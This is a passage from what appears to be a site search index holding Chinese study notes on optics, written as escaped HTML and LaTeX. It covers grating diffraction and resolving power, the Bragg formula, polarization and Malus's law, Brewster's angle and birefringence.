\u7684\u589e\u52a0\uff0c\u884d\u5c04\u6761\u7eb9\u7684\u4eae\u5ea6\u4f1a\u9010\u6e10\u589e\u52a0\uff0c\u4f46\u662f\u4e5f\u9010\u6e10\u53d8\u7ec6\u3002</p> <p>\u662f\u591a\u4e2a\u5355\u7f1d\u884d\u5c04\u7684\u5e72\u6d89\u7ed3\u679c\u3002</p> <p>\u76f8\u90bb\u4e24\u5149\u7684\u76f8\u4f4d\u5dee\u4e3a</p> \\[ \\Delta \\varphi = \\frac{2\\pi d \\sin \\theta}{\\lambda} \\] <p>\u76f8\u90bb\u632f\u52a8\u7684\u632f\u5e45 \\(A_1, A_2, \\ldots, A_N\\)</p> \\[ A_2 = A_1 e^{i \\Delta \\varphi} \\] \\[ A_3 = A_1 e^{i 2 \\Delta \\varphi} \\] \\[ \\vdots \\] \\[ A_N = A_1 e^{i (N-1) \\Delta \\varphi} \\] \\[ A_p = A_1 + A_2 + \\ldots + A_N \\] \\[ = A_1 + A_1 e^{i \\Delta \\varphi} + \\ldots + A_1 e^{i (N-1) \\Delta \\varphi} \\] \\[ = A_1 \\frac{e^{iN\\Delta \\varphi/2}}{e^{i\\Delta \\varphi/2}} \\frac{\\sin(N\\Delta \\varphi/2)}{\\sin(\\Delta \\varphi/2)} \\] \\[ |A_p| = A_1 \\frac{\\sin(N\\Delta \\varphi/2)}{\\sin(\\Delta \\varphi/2)} \\] <p>\u8fd9\u91cc\u7c7b\u4f3c\u4e8e\u5355\u7f1d\u884d\u5c04\u7684\u632f\u5e45\u77e2\u91cf\u53e0\u52a0\u6cd5\uff0c\u4f46\u662f\u4e5f\u6709\u6240\u4e0d\u540c\u3002</p> <ul> <li>\u5f53 \\(\\Delta \\varphi = 2k\\pi\\) \u65f6\uff0c\u6bcf\u4e00\u4e2a\u632f\u5e45\u77e2\u91cf\u65b9\u5411\u76f8\u540c\uff0c\u6240\u4ee5 \\(A_p = NA_1\\)\uff0c\u6b64\u65f6\u4e3a\u6700\u5927\u503c\u3002</li> </ul> <p>\u5373</p> \\[ d \\sin \\theta = \\pm k \\lambda \\quad k = 0, 1, 2, \\ldots \\quad k &lt; \\frac{d}{\\lambda} \\quad  \\] <p>\u8fd9\u91cc\u7684\\(k\\)\u6709\u8303\u56f4\uff0c\u56e0\u4e3a\\(d \\sin \\theta\\) \u6700\u5927\u4e3a \\(d\\)\uff0c\u6240\u4ee5 \\(k\\) \u6700\u5927\u4e3a \\(\\frac{d}{\\lambda}\\)\u3002</p> <p>k\u4e3a\u4e3b\u6781\u5927\u7ea7\u6570\uff0ck=0\u79f0\u4e2d\u592e\u660e\u7eb9\u3002\u5149\u6805\u6781\u5927\u7684\u4f4d\u7f6e\u7531\u76f8\u90bb\u72ed\u7f1d\u95f4\u7684\u5e72\u6d89\u6781\u5927\u51b3\u5b9a</p> <ul> <li>\u5f53\\(N\\Delta \\varphi = 2k\\pi\\)\u65f6\uff0c\u6b64\u65f6\u77e2\u91cf\u53e0\u52a0\u95ed\u5408\uff0c\\(A_p = 0\\)\uff0c\u6b64\u65f6\u4e3a\u6697\u7eb9\u3002</li> </ul> \\[ N d \\sin \\theta = \\pm k' \\lambda \\quad k' = 1, 2, 3, \\ldots, N - 1 \\quad (k' \\neq kN) \\] <p>Warning</p> <p>k'\u4e0d\u80fd\u53d6N\u7684\u6574\u6570\u500d\uff0c\u56e0\u4e3a\u8fd9\u65f6\u662f\u4e3b\u6781\u5927\u7684\u4f4d\u7f6e\u3002</p> <p>\u5149\u6805\u884d\u5c04\u7684\u8c31\u7ebf\u7279\u70b9</p> <p></p> <p>1\uff09\u4e3b\u7ea7\u5927\u660e\u7eb9\u7684\u4f4d\u7f6e\u4e0e\u7f1d\u6570N\u65e0\u5173\uff0c\u5b83\u4eec\u5bf9\u79f0\u5730\u5206\u5e03\u5728\u4e2d\u592e\u660e\u7eb9\u7684\u4e24\u4fa7\uff0c\u4e2d\u592e\u660e\u7eb9\u5149\u5f3a\u6700\u5927\uff1b</p> <p>2\uff09\u5728\u76f8\u90bb\u7684\u4e24\u4e2a\u4e3b\u7ea7\u5927\u4e4b\u95f4\uff0c\u6709N\u22121\u4e2a\u6781\u5c0f\uff08\u6697\u7eb9\uff09\u548cN\u22122\u4e2a\u5149\u5f3a\u5f88\u5c0f\u7684\u6b21\u6781\u5927\uff0c\u5f53N\u5f88\u5927\u65f6\uff0c\u5b9e\u9645\u4e0a\u5728\u76f8\u90bb\u7684\u4e3b\u6781\u5927\u4e4b\u95f4\u5f62\u6210\u4e00\u7247\u6697\u533a\uff0c\u5373\u80fd\u83b7\u5f97\u53c8\u7ec6\u53c8\u4eae\u6697\u533a\u5f88\u5bbd\u7684\u5149\u6805\u884d\u5c04\u6761\u7eb9\u3002</p> <p>\u5b9a\u91cf\u5206\u6790\u5149\u6805\u884d\u5c04\u7684\u5149\u5f3a</p> \\[ I = I_0 \\left( \\frac{\\sin u}{u} \\right)^2 \\left( \\frac{\\sin N \\beta}{\\sin \\beta} \\right)^2 \\] <p>\u5176\u4e2d</p> \\[ u = \\frac{\\pi a \\sin \\theta}{\\lambda} \\] \\[ \\beta = \\frac{\\pi d \\sin \\theta}{\\lambda} \\] <p>\u5f53 \\(\\theta \\to 0\\) \u65f6\uff0c\\(I_m \\to N^2 I_0\\)\uff0c\u6240\u4ee5\u7f1d\u6570\u8d8a\u591a\uff0c\u5149\u5f3a\u8d8a\u5927\u3002</p> <p>\u534a\u89d2\u5bbd\u5ea6</p> <p></p> <p>\u5982\u679c \\(\\theta\\) \u4e0d\u5c0f\uff0c\\(\\sin \\theta \\neq \\theta\\)</p> \\[ d \\sin \\theta = m \\lambda \\] <p>\u4e0e\u5b83\u6700\u8fd1\u76840\u70b9\u4e3a(\\(Nd\\sin \\theta' = (mN + 1) \\lambda\\))</p> \\[ d \\sin (\\theta + \\Delta \\theta) = (m + \\frac{1}{N}) \\lambda \\] <p>\u6240\u4ee5\u4f7f\u7528\u62c9\u683c\u6717\u65e5\u4e2d\u503c\u5b9a\u7406\uff0c\u6709</p> \\[ d \\cos \\theta \\cdot \\Delta \\theta = \\frac{1}{N} \\lambda \\] \\[ \\Delta \\theta = \\frac{\\lambda}{N d \\cos \\theta} \\] <p>\\(\\theta\\) \u5f88\u5c0f\u65f6\uff0c\\(\\cos \\theta \\to 1\\)\uff0c\u6240\u4ee5</p> \\[ \\Delta \\theta = \\frac{\\lambda}{N d} \\] <p>\u6240\u4ee5\u7f1d\u8d8a\u591a\uff0c\u534a\u89d2\u5bbd\u5ea6\u8d8a\u5c0f\uff0c\u6761\u7eb9\u8d8a\u7ec6\u3002</p>"},{"location":"NOTE/Physics/light/#_27","title":"\u5149\u6805\u884d\u5c04\u7684\u7f3a\u6781","text":"<p>\u7f3a\u7ea7\uff1a\u7f3a\u7ea7\u662f\u6307\u5149\u6805\u4e2d\u4e0d\u540c\u5355\u7f1d\u884d\u5c04\u4e92\u76f8\u5e72\u6d89\u7684\u4e3b\u6781\u5927\u4f4d\u7f6e\u4e8e\u5355\u7f1d\u884d\u5c04\u7684\u6697\u7eb9\u4f4d\u7f6e\u91cd\u5408\uff0c\u5bfc\u81f4\u5149\u6805\u884d\u5c04\u7684\u660e\u7eb9\u6d88\u5931\u3002</p> <p>\u5373</p> \\[     d \\sin \\theta = \\pm k \\lambda  \\] \\[     a \\sin \\theta = \\pm k' \\lambda \\] <p>\u5f53 \\(\\dfrac{a}{d} = \\dfrac{k'}{k}\\) \u65f6\uff0c\u5149\u6805\u884d\u5c04\u7684\u660e\u7eb9\u6d88\u5931\u3002</p> <p>\u5982\u679c\u8bf4\u7b2c\u4e00\u4e2a\u7f3a\u7ea7\u51fa\u73b0\u5728\\(k=2\\)(\\(k'=1\\)),\u8fd9\u8bf4\u660e\\(d=2a=a+b\\)\uff0c\u5373\\(b=a\\)\u3002</p> <p></p> <p>\u56fe\u4f8b\u7ed9\u51fa\u7684\u662f\\(d=4a\\)\u7684\u60c5\u51b5\uff1b</p> <p></p> <p>\u5149\u6805\u5149\u8c31</p> <p>\u5149\u6805\u5149\u8c31\u662f\u6307\u590d\u8272\u5149\u7167\u5c04\u5149\u6805\u65f6\uff0c\u8c31\u7ebf\u6309\u6ce2\u957f\u5411\u5916\u4fa7\u4f9d\u6b21\u5206\u5f00\u6392\u5217\uff0c\u5f62\u6210\u7684\u5149\u8c31\uff1b</p> <p> </p> <p>\u53ea\u6709\u7b2c\u4e00\u7ea7\uff0c\u7b2c\u4e8c\u7ea7\u5f00\u59cb\u6709\u91cd\u53e0\u3002</p> <p>\u5149\u6805\u5149\u8c31\u7684\u5206\u8fa8\u672c\u9886</p> <p>\u5149\u6805\u7684\u5206\u8fa8\u672c\u9886\u662f\u6307\u628a\u6ce2\u957f\u9760\u5f97\u5f88\u8fd1\u7684\u4e24\u6761\u8c31\u7ebf\u5206\u8fa8\u7684\u6e05\u695a\u7684\u672c\u9886\u3002</p> <p>\u4e0e\u745e\u5229\u5224\u636e\u7c7b\u4f3c\uff0c\u5f53\u4e24\u6761\u8c31\u7ebf\u521a\u597d\u80fd\u5206\u8fa8\u65f6\uff0c\u4e00\u4e2a\u5728\u6781\u5927\uff0c\u4e00\u4e2a\u5728\u6781\u5c0f\u3002</p> <p></p> <p>\u6ce2\u957f\u4e3a \\(\\lambda + \\Delta \\lambda\\) \u7684\u7b2c \\(k\\) \u7ea7\u4e3b\u6781\u5927\u7684\u89d2\u4f4d\u7f6e\u4e3a\uff1a</p> \\[ (a + b) \\sin \\theta = k (\\lambda + \\Delta \\lambda) \\] <p>\u6ce2\u957f\u4e3a \\(\\lambda\\) \u7684\u7b2c \\(kN+1\\) \u7ea7\u6781\u5c0f\u7684\u89d2\u4f4d\u7f6e\u4e3a\uff1a</p> \\[ N (a + b) \\sin \\theta = (kN + 1) \\lambda \\] <p>\u56e0\u6b64\uff0c\u5206\u8fa8\u672c\u9886 \\(R\\) \u4e3a\uff1a</p> \\[ R = \\dfrac{\\lambda}{\\Delta \\lambda} = kN \\] <p>\u5373\u8981\u5206\u8fa8\u6e05\u695a\u7b2c\\(k\\)\u7ea7\u8c31\u7ebf\uff0c\u9700\u8981\\(N\\)\u6761\u7f1d\u3002\u8fd9\u91cc\u7684\\(\\lambda\\)\u662f\u5e73\u5747\u6ce2\u957f\uff0c\\(\\Delta \\lambda\\)\u662f\u6ce2\u957f\u504f\u79fb\u3002</p> <p>\u8272\u6563\u672c\u9886\u4e0e\u5206\u8fa8\u672c\u9886</p> <p>\u9996\u5148\uff0c\u5bf9\u4e8e\\(m\\)\u7ea7\u7684\u4e3b\u6781\u5927\uff0c\u6709</p> \\[ d \\sin \\theta = m \\lambda \\] <p>\u6240\u4ee5\u4e24\u8fb9\u540c\u65f6\u53d6\u5fae\u5206\uff0c\u6709</p> \\[ d \\cos \\theta \\cdot \\Delta \\theta = m \\cdot \\Delta \\lambda \\] <p>\u6240\u4ee5\u53ef\u4ee5\u5b9a\u4e49\u8272\u6563\u672c\u9886</p> \\[ D = \\frac{\\Delta \\theta}{\\Delta \\lambda} = \\frac{m}{d \\cos \\theta} \\] <p>\u4f7f\u7528\u745e\u5229\u5224\u636e\uff0c\u5f53\u5176\u53ef\u4ee5\u5206\u8fa8\u65f6\uff0c\u4e24\u8005\u89d2\u5ea6\u76f8\u5dee\u4e3a\u534a\u89d2\u5bbd\u5ea6\uff0c\u5373</p> \\[ \\Delta \\theta = \\frac{\\lambda}{N d \\cos \\theta}  \\] <p>\u6240\u4ee5\u6b64\u65f6\u53ef\u4ee5\u5206\u8fa8\u7684\u6781\u9650\u6ce2\u957f\u5dee\u4e3a</p> \\[ \\Delta \\lambda =  \\dfrac{\\Delta \\theta}{D} = \\frac{\\lambda}{N d \\cos \\theta} \\cdot \\frac{d \\cos \\theta}{m} = \\frac{\\lambda}{N m} \\] <p>\u6240\u4ee5\u5206\u8fa8\u672c\u9886\u5b9a\u4e49\u4e3a</p> \\[ R = \\frac{\\lambda}{\\Delta \\lambda} = Nm \\]"},{"location":"NOTE/Physics/light/#bragg","title":"Bragg \u516c\u5f0f","text":"<p>\u5e03\u62c9\u683c\u516c\u5f0f\uff1a</p> \\[ 2d \\sin \\theta = n \\lambda \\] <p>\u5176\u4e2d\\(d\\)\u662f\u6676\u683c\u5e38\u6570\uff0c\\(\\theta\\)\u662f\u5165\u5c04\u89d2\uff0c\\(n\\)\u662f\u6574\u6570\uff0c\\(\\lambda\\)\u662f\u6ce2\u957f\u3002</p> <p>\u89e3\u91ca\u4e86\u4e0d\u540c\u6676\u9762\u95f4\u53cd\u5c04\u7684\u5e72\u6d89\u589e\u5f3a\u6761\u4ef6.</p>"},{"location":"NOTE/Physics/light/#polarization","title":"\u5149\u7684\u504f\u632f(Polarization)","text":"<p>\u5728\u81ea\u7136\u5149\u4e2d\uff0c\u5149\u6ce2\u7684\u7535\u77e2\u91cf\u5728\u4efb\u610f\u65f6\u523b\u548c\u4efb\u610f\u4f4d\u7f6e\u7684\u65b9\u5411\u90fd\u662f\u968f\u673a\u7684\uff0c\u8fd9\u79cd\u5149\u79f0\u4e3a\u975e\u504f\u632f\u5149\u3002\u800c\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\uff0c\u5149\u6ce2\u7684\u7535\u77e2\u91cf\u5728\u67d0\u4e00\u65b9\u5411\u4e0a\u7684\u632f\u52a8\uff0c\u800c\u5728\u53e6\u4e00\u65b9\u5411\u4e0a\u7684\u632f\u52a8\u4e3a\u96f6\uff0c\u8fd9\u79cd\u5149\u79f0\u4e3a\u504f\u632f\u5149\u3002</p>"},{"location":"NOTE/Physics/light/#_28","title":"\u7ebf\u504f\u632f\u5149","text":"<p>\u81ea\u7136\u5149\u901a\u8fc7\u504f\u632f\u7247\u4e4b\u540e\uff0c\u53ea\u6709\u5728\u67d0\u4e00\u65b9\u5411\u4e0a\u7684\u7535\u77e2\u91cf\u632f\u52a8\uff0c\u8fd9\u79cd\u5149\u79f0\u4e3a\u7ebf\u504f\u632f\u5149\u3002 \u53ea\u6709\u4e0e\u504f\u632f\u7247\u7684\u7f1d\u65b9\u5411\u5782\u76f4\u7684\u7535\u77e2\u91cf\u624d\u80fd\u901a\u8fc7;\u5176\u5b83\u7684\u7535\u77e2\u91cf\u4f1a\u88ab\u5438\u6536\u3002</p> <p>\u5728\u81ea\u7136\u5149\u4e2d\uff0c\u4efb\u610f\u4e24\u4e2a\u5782\u76f4\u5206\u91cf\u7684\u632f\u5e45\u662f\u76f8\u7b49\u7684\uff0c\u5373\u53ef\u4ee5\u628a\u81ea\u7136\u5149\u5206\u89e3\u4e3a\u4efb\u610f\u4e24\u4e2a\u5782\u76f4\u65b9\u5411\u7684\u7ebf\u504f\u632f\u5149\u7684\u53e0\u52a0\uff0c\u90a3\u4e48\u7ecf\u8fc7\u504f\u632f\u7247\u540e\uff0c\u53ea\u6709\u4e0e\u504f\u632f\u7247\u5141\u8bb8(TA)\u7684\u5206\u91cf\u901a\u8fc7\uff0c\u5176\u5b83\u5206\u91cf\u88ab\u5438\u6536\u3002\u5047\u8bbe\u81ea\u7136\u5149\u7684\u7535\u77e2\u91cf\u4e3a\\(E_0\\),\u5219\u7ecf\u8fc7\u504f\u632f\u7247\u540e\u7684\u7535\u77e2\u91cf\u4e3a\\(\\dfrac{E_0}{\\sqrt{2}}\\)\u3002\u5149\u5f3a\u4e3a\\(I_0\\)\uff0c\u5219\u7ecf\u8fc7\u504f\u632f\u7247\u540e\u7684\u5149\u5f3a\u4e3a\\(\\dfrac{I_0}{2}\\)\u3002(\\(I_0 \\propto E_0^2\\))</p> <p>\u9a6c\u9686\u5b9a\u5f8b</p> <p>\u7ebf\u504f\u632f\u5149\u901a\u8fc7\u4e0e\u632f\u52a8\u65b9\u5411\u6210\\(\\theta\\)\u89d2\u7684\u504f\u632f\u7247\u540e\uff0c\u5149\u5f3a\u4e3a\\(I = I_0 \\cos^2 \\theta\\)\u3002</p> <p> </p> <p>\u6240\u4ee5\u5728\u4e0a\u56fe\u4e2d\\(I_2=I_1 \\cos^2 \\theta\\)</p> <p>\u5229\u7528\u9a6c\u9686\u5b9a\u5f8b\u63a8\u5bfc\u81ea\u7136\u5149\u901a\u8fc7\u504f\u632f\u7247\u540e\u7684\u5149\u5f3a</p> <p>\u6211\u4eec\u77e5\u9053\u81ea\u7136\u5149\u901a\u8fc7\u4efb\u610f\u65b9\u5411\u504f\u632f\u7247\u5149\u5f3a\u90fd\u53d8\u4e3a\u539f\u6765\u7684\u4e00\u534a\uff1b\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u9a6c\u9686\u5b9a\u5f8b\u6765\u63a8\u5bfc\u8fd9\u4e00\u7ed3\u8bba\u3002</p> <p>\u9996\u5148\uff0c\u5bf9\u4e8e\u81ea\u7136\u5149\uff0c\u53ef\u4ee5\u5c06\u5176\u770b\u4f5c\u65e0\u6570\u4e2a\u65b9\u5411\u4e0a\u7684\u632f\u52a8\uff0c\u5b83\u4e0e\u504f\u632f\u7247\u7684\u5939\u89d2\u4e3a\\(\\alpha\\),\\(\\alpha\\)\u6ee1\u8db3\\(0\\)\u5230\\(2\\pi\\)\u7684\u5747\u5300\u5206\u5e03\u3002</p> <p>\u6982\u7387\u5bc6\u5ea6\u4e3a\\(p=\\dfrac{1}{2\\pi}\\)\uff0c\u6240\u4ee5\u901a\u8fc7\u504f\u632f\u7247\u540e\u7684\u5149\u5f3a\u4e3a \u5bf9\u5e94\u7684\u5149\u5f3a\u4e3a\\(I = I_0 \\cos^2 \\alpha\\)\uff0c\u6240\u4ee5\u5e73\u5747\u5149\u5f3a\u4e3a</p> \\[ \\overline{I} = \\int_0^{2\\pi} \\dfrac{1}{2\\pi} I_0 \\cos^2 \\alpha d\\alpha = \\dfrac{1}{2} I_0 \\] <p>\u4f8b\u5b50</p> <p> </p> <p>\u4e00\u675f\u6cbf\\(x\\)\u65b9\u5411\u7684\u7ebf\u504f\u632f\u5149,\u7ecf\u8fc7\u4e24\u4e2a\u504f\u632f\u7247\uff0c\u7b2c\u4e00\u4e2a\u504f\u632f\u7247(TA\u65b9\u5411)\u4e0e\\(x\\)\u8f74\u6210\\(\\theta\\)\u89d2\uff0c\u7b2c\u4e8c\u4e2a\u504f\u632f\u7247\u4e0e\\(y\\)\u8f74\u5e73\u884c,\u6c42\\(\\theta\\)\u4e3a\u591a\u5c11\u65f6\uff0c\u7b2c\u4e8c\u4e2a\u504f\u632f\u7247\u7684\u900f\u5c04\u5149\u5f3a\u6700\u5927\u3002</p> \\[     I_2 = I_1 \\cos^2 \\theta \\cos^2(90^\\circ - \\theta) = I_1 \\cos^2 \\theta \\sin^2 \\theta \\] <p>\u57fa\u672c\u4e0d\u7b49\u5f0f\u53ef\u77e5\uff0c\u5f53\\(\\theta = 45^\\circ\\)\u65f6\uff0c\u900f\u5c04\u5149\u5f3a\u6700\u5927\u3002</p>"},{"location":"NOTE/Physics/light/#_29","title":"\u5e38\u89c1\u504f\u632f\u6001","text":"<p>\u7ebf\u504f\u632f\u5149 \u5bf9\u4e8e\u4e24\u675f\u7b49\u5f3a\u6b63\u4ea4\u7ebf\u504f\u632f\u5149\uff0c\u5982\u679c\u5176\u76f8\u4f4d\u5dee\u4e3a\\(k \\pi\\)\uff0c\u5219\u540c\u65f6\u53d8\u5927\uff0c\u540c\u65f6\u53d8\u5c0f\uff0c\u5408\u6210\u7684\u4e3a\u7ebf\u504f\u632f\u5149\u3002</p> <p>\u5706\u504f\u632f\u5149</p> RCP LCP <p>\u5982\u679c\u4e24\u675f\u7b49\u5f3a\u6b63\u4ea4\u7ebf\u504f\u632f\u5149\u7684\u76f8\u4f4d\u5dee\u4e3a\\(\\dfrac{\\pi}{2}+k \\pi\\)\uff0c\u5219\u5176\u4e2d\u4e00\u675f\u5149\u6700\u5927\u65f6\uff0c\u53e6\u4e00\u675f\u5149\u6700\u5c0f\uff0c\u5468\u671f\u6027\u632f\u52a8\uff0c\u5408\u6210\u7684\u4e3a\u5706\u504f\u632f\u5149\u3002</p> <p>\u7531\u5148\u5230\u8fbe\u6700\u5927\u7684\u5411\u540e\u5230\u8fbe\u6700\u5927\u7684\u65cb\u8f6c.</p> <p>\u692d\u5706\u504f\u632f\u5149</p> <p>\u5f53\u4e24\u675f\u7ebf\u504f\u632f\u5149\u4e0d\u7b49\u5f3a\uff0c\u6216\u8005\u76f8\u4f4d\u5dee\u4e0d\u662f\\(k \\dfrac{\\pi}{2}\\)\u65f6\uff0c\u5408\u6210\u7684\u5149\u4e3a\u692d\u5706\u504f\u632f\u5149\u3002</p> \u504f\u632f\u5149\u5206\u7c7b <p>\u65e0\u504f\u632f\u5149</p> <p>\u5373\u6700\u5e38\u89c1\u7684\u81ea\u7136\u5149\uff0c\u53ef\u4ee5\u5411\u4efb\u610f\u65b9\u5411\u632f\u52a8\uff0c\u6ca1\u6709\u56fa\u5b9a\u7684\u632f\u52a8\u65b9\u5411\u3002\u81ea\u7136\u5149\u53ef\u4ee5\u770b\u4f5c\u662f\u7531\u4e24\u4e2a\u632f\u52a8\u65b9\u5411\u5782\u76f4\u3001\u76f8\u4e92\u95f4\u6ca1\u6709\u56fa\u5b9a\u76f8\u4f4d\u5dee\u3001\u7b49\u632f\u5e45\u7684\u7ebf\u504f\u632f\u5149\uff08\u975e\u76f8\u5e72\u5149\uff09\u7ec4\u5408\u800c\u6210\u7684\u3002</p> <p>\u65e0\u504f\u632f\u5149\u4e0e\u5706\u504f\u632f\u5149\u7684\u533a\u522b\u5728\u4e8e\uff0c\u4f20\u64ad\u7684\u65f6\u5019\uff0c\u65e0\u504f\u632f\u5149\u7684\u632f\u52a8\u65b9\u5411\u662f\u968f\u673a\u53d8\u5316\u7684\uff0c\u800c\u5706\u504f\u632f\u5149\u7684\u77e2\u91cf\u8f68\u8ff9\u662f\u4e00\u4e2a\u5706;</p> <p>\u90e8\u5206\u504f\u632f\u5149</p> <p>\u6309\u6bd4\u4f8b\u7684\u542b\u6709\u81ea\u7136\u5149\u548c\u504f\u632f\u5149\u7684\u5149\u3002\u632f\u52a8\u65b9\u5411\u662f\u968f\u673a\u53d8\u5316\u7684\uff0c\u5728\u5176\u4e2d\u4e00\u4e2a\u65b9\u5411\u4e0a\u7684\u632f\u52a8\u662f\u6700\u5f3a\u7684;</p> <p> \u90e8\u5206\u504f\u632f\u5149\u53ef\u5206\u89e3\u4e3a\u4e24\u675f\u632f\u52a8\u65b9\u5411\u76f8\u4e92\u5782\u76f4\u7684\u3001\u4e0d\u7b49\u5e45\u7684\u3001\u4e0d\u76f8\u5e72\u7684\u7ebf\u504f\u632f\u5149\u3002</p> <p>\u90e8\u5206\u504f\u632f\u5149\u4e0e\u692d\u5706\u504f\u632f\u5149\u7684\u533a\u522b\u5728\u4e8e\uff0c\u90e8\u5206\u504f\u632f\u5149\u7684\u632f\u52a8\u65b9\u5411\u662f\u968f\u673a\u53d8\u5316\u7684\uff0c\u800c\u692d\u5706\u504f\u632f\u5149\u7684\u77e2\u91cf\u8f68\u8ff9\u662f\u4e00\u4e2a\u692d\u5706\u3002</p> <p>\u504f\u632f\u5ea6</p> \\[ P = \\frac{I_{max} - I_{min}}{I_{max} + I_{min}} \\] <p>\u5176\u4e2d\\(I_{max}\\)\u662f\u5f3a\u5ea6\u6700\u5927\u65b9\u5411\u6700\u5927\u5149\u5f3a\uff0c\\(I_{min}\\)\u662f\u5f3a\u5ea6\u6700\u5c0f\u65b9\u5411\u5149\u5f3a,\u76f8\u51cf\u5373\u4e3a\u504f\u632f\u5149\u7684\u5149\u5f3a\uff0c\u76f8\u52a0\u5373\u4e3a\u603b\u5149\u5f3a\u3002</p> <p>\u5bf9\u4e8e\u7ebf\u504f\u632f\u5149\uff0c\\(I_{min}=0\\),\u504f\u632f\u5ea6\u4e3a1\uff1b\u5bf9\u4e8e\u81ea\u7136\u5149\uff0c\\(I_{max}=I_{min}\\),\u504f\u632f\u5ea6\u4e3a0\u3002</p>"},{"location":"NOTE/Physics/light/#brewster","title":"Brewster \u89d2","text":"<p>\u5f53\u81ea\u7136\u5149\u4ee5\u67d0\u4e00\u89d2\u5ea6\u5165\u5c04\u65f6(\u53cd\u5c04\u89d2\u4e0e\u6298\u5c04\u89d2\u4e4b\u548c\u4e3a90\u5ea6),\u53cd\u5c04\u5149\u4e3a\u7ebf\u504f\u632f\u5149\u3002</p> <p>\u5047\u8bbe\u5165\u5c04\u89d2\u4e3a\\(\\theta_1\\)\uff0c\u6298\u5c04\u89d2\u4e3a\\(\\theta_2\\)\uff0c\u5219\u6709</p> \\[ \\theta_1 + \\theta_2 = 90^\\circ \\] <p>\u6839\u636e\u6298\u5c04\u5b9a\u5f8b\uff0c\u6709</p> \\[ n_1 \\sin \\theta_1 = n_2 \\sin \\theta_2 \\] <p>\u6240\u4ee5</p> \\[     n_1 \\sin \\theta_1 = n_2 \\sin \\theta_2   =   n_2 \\cos \\theta_1 \\] <p>\u6240\u4ee5</p> \\[     \\tan \\theta_1 = \\frac{n_2}{n_1} \\] <p>\u5982\u679c\u7ecf\u8fc7\u591a\u6b21\u53cd\u5c04\uff0c\u6bcf\u4e00\u6b21\u90fd\u4e3abrewster\u89d2\uff0c\u5219\u6700\u540e\u6298\u5c04\u51fa\u6765\u7684\u5149\u5927\u90e8\u5206\u90fd\u4e3a\u7ebf\u504f\u632f\u5149\u3002</p>"},{"location":"NOTE/Physics/light/#birefringence","title":"\u53cc\u6298\u5c04\u73b0\u8c61(Birefringence)","text":"<p>\u53cc\u6298\u5c04\u73b0\u8c61</p> <p>\u53cc\u6298\u5c04\u73b0\u8c61\u662f\u6307\u5f53\u5149\u7ebf\u901a\u8fc7\u67d0\u4e9b\u5404\u5411\u5f02\u6027\u4ecb\u8d28\uff08\u5982\u65b9\u89e3\u77f3\u6676\u4f53\uff09\u65f6\uff0c\u4f1a\u5206\u88c2\u6210\u4e24\u675f\u504f\u632f\u65b9\u5411\u4e92\u76f8\u5782\u76f4\u7684\u5149\u7ebf\u3002\u8fd9\u4e24\u675f\u5149\u7ebf\u5206\u522b\u79f0\u4e3a\u666e\u901a\u5149\uff08o\u5149\uff09\u548c\u975e\u5e38\u5149\uff08e\u5149\uff09;</p> <p>\u5177\u4f53\u6765\u8bf4\uff0c\u5f53\u4e00\u675f\u672a\u504f\u632f\u7684\u5149\u8fdb\u5165\u53cc\u6298\u5c04\u4ecb\u8d28\u65f6\uff0c\u4f1a\u5206\u88c2\u6210\u4e24\u675f\u5149\u7ebf\uff1a\u4e00\u675f\u9075\u5faa\u5e38\u89c4\u6298\u5c04\u5b9a\u5f8b\uff08\u65af\u6d85\u5c14\u5b9a\u5f8b\uff09\uff0c\u79f0\u4e3a\u666e\u901a\u5149(ordinary light, o\u5149)\uff1b\u53e6\u4e00\u675f\u5219\u4e0d\u9075\u5faa\u5e38\u89c4\u6298\u5c04\u5b9a\u5f8b\uff0c\u79f0\u4e3a\u975e\u5e38\u5149(extraordinary light, e\u5149)\u3002</p> <p>\u5bf9\u4e8eo\u5149\u6765\u8bf4\uff0c\u5176\u5728\u4ecb\u8d28\u4e2d\u56db\u9762\u516b\u65b9\u7684\u6298\u5c04\u7387\u76f8\u540c,\u5176\u901f\u5ea6\u6052\u7b49\u4e8e\\(v_o\\),\u5bf9\u4e8ee\u5149\u6765\u8bf4\uff0c\u5176\u5728\u4ecb\u8d28\u4e2d\u56db\u9762\u516b\u65b9\u7684\u6298\u5c04\u7387\u4e0d\u540c\uff0c\u5176\u901f\u5ea6\u5728\u4e0d\u540c\u65b9\u5411\u4e0a\u4ece\\(v_e\\)\u5230\\(v_o\\)\u53d8\u5316\u3002</p> <p>\u79f0\\(n_o=\\dfrac{c}{v_o}\\)\uff0c\\(n_e=\\dfrac{c}{v_e}\\)\u4e3a\u4e3b\u6298\u5c04\u7387\uff1b</p> <p>\u53cc\u6298\u5c04\u73b0\u8c61\u5e7f\u6cdb\u5e94\u7528\u4e8e\u5149\u5b66\u4eea\u5668\u4e2d\uff0c\u5982\u504f\u5149\u663e\u5fae\u955c\u3001\u6db2\u6676\u663e\u793a\u5668\u7b49\u3002</p> <p> </p> <p>\u5149\u7684\u5feb\u6162\u8f74</p> <p>\u5bf9\u4e8ee\u5149\u6765\u8bf4\uff0c\u5176\u6298\u5c04\u7387\u5728\u4ecb\u8d28\u4e2d\u4e0d\u540c\u65b9\u5411\u4e0d\u540c\uff0c\u6240\u4ee5\u5176\u4f20\u64ad\u901f\u5ea6\u4e0d\u540c\uff0c\u800c\u9891\u7387\u4e0d\u53d8\uff0c\u6240\u4ee5\u6ce2\u957f\u4f1a\u53d8\u5316\uff1b</p> <p>\u5bf9\u4e8e\u4f20\u64ad\u65b9\u5411\u5feb\u7684\uff1b\u6709</p> \\[      v_{fast} = f \\lambda_{fast} \\] <p>\u5bf9\u4e8e\u4f20\u64ad\u65b9\u5411\u6162\u7684\uff1b\u6709</p> \\[      v_{slow} = f \\lambda_{slow} \\] <p>\u5176\u4e2d\\(f\\)\u662f\u9891\u7387\uff0c\\(\\lambda\\)\u662f\u6ce2\u957f\u3002</p> <p>\u6240\u4ee5\\(\\lambda_{fast} &gt; \\lambda_{slow}\\)\u3002</p> <p> </p>"},{"location":"NOTE/Physics/light/#optical-axis","title":"\u5149\u8f74(Optical Axis)","text":"<p>o\u5149\u548ce\u5149\u6cbf\u7740\u5149\u8f74\u65b9\u5411\u4f20\u64ad\u65f6\uff0c\u901f\u5ea6\u76f8\u540c\uff0c\u6298\u5c04\u7387\u76f8\u540c\uff0c\u5bf9\u4e8e \u8d1f\u6676\u4f53\u800c\u8a00 ,\\(n_o &gt; n_e\\),\\(v_o&lt; v_e\\)\uff0c\u5bf9\u4e8e \u6b63\u6676\u4f53\u800c\u8a00 